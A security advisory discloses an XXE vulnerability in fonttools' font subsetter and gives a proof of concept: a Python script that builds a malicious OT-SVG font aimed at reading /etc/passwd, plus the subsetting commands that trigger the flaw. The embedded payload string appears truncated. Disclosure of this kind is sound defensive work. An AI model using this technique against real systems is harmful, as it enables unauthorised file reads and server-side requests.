GHSA-6673-4983-2vx5 fonttools XML External Entity Injection (XXE) Vulnerability

• PyPI fonttools: >= 4.28.2, < 4.43.0 → fixed in 4.43.0

Summary As of `fonttools>=4.28.2` the subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system. PoC The vulnerability can be reproduced following the bellow steps on a unix based system. 1. Build a OT-SVG font which includes a external entity in the SVG table which resolves a local file. In our testing we utilised `/etc/passwd` for our POC file to include and modified an existing subset integration test to build the POC font - see bellow. ```python from string import ascii_letters from fontTools.fontBuilder import FontBuilder from fontTools.pens.ttGlyphPen import TTGlyphPen from fontTools.ttLib import newTable XXE_SVG = """\ ]> &test; """ def main(): # generate a random TTF font with an SVG table glyph_order = [".notdef"] + list(ascii_letters) pen = TTGlyphPen(glyphSet=None) pen.moveTo((0, 0)) pen.lineTo((0, 500)) pen.lineTo((500, 500)) pen.lineTo((500, 0)) pen.closePath() glyph = pen.glyph() glyphs = {g: glyph for g in glyph_order} fb = FontBuilder(unitsPerEm=1024, isTTF=True) fb.setupGlyphOrder(glyph_order) fb.setupCharacterMap({ord(c): c for c in ascii_letters}) fb.setupGlyf(glyphs) fb.setupHorizontalMetrics({g: (500, 0) for g in glyph_order}) fb.setupHorizontalHeader() fb.setupOS2() fb.setupPost() fb.setupNameTable({"familyName": "TestSVG", "styleName": "Regular"}) svg_table = newTable("SVG ") svg_table.docList = [ (XXE_SVG, 1, 12) ] fb.font["SVG "] = svg_table fb.font.save('poc-payload.ttf') if __name__ == '__main__': main() ``` 2. Subset the font with an affected version of fontTools - we tested on `fonttools==4.42.1` and `fonttools==4.28.2` - using the following flags (which just ensure the malicious glyph is mapped by the font and not discard in the subsetting process): ```shell pyftsubset poc-payload.ttf --output-file="poc-payload.subset.ttf" --unicodes="*" --ignore-missing-glyphs ``` 3. Read the parsed SVG table in the subsetted font: ```shell ttx -t SVG poc-payload.subset.ttf && cat poc-payload.subset.ttx ``` Observed the included contents of the `/etc/passwd` file. Impact Note the final severity is dependant on the environment fontTools is running in. • The vulnerability has the most impact on consumers of fontTools who leverage the subsetting utility to subset untrusted OT-SVG fonts where the vulnerability may be exploited to read arbitrary files from the filesystem of the host fonttools is running on Possible Mitigations There may be other ways to mitigate the issue, but some suggestions: 1. Set the `resolve_entities=False` flag on parsing methods 2. Consider further methods of disallowing doctype declarations 3. Consider recursive regex matching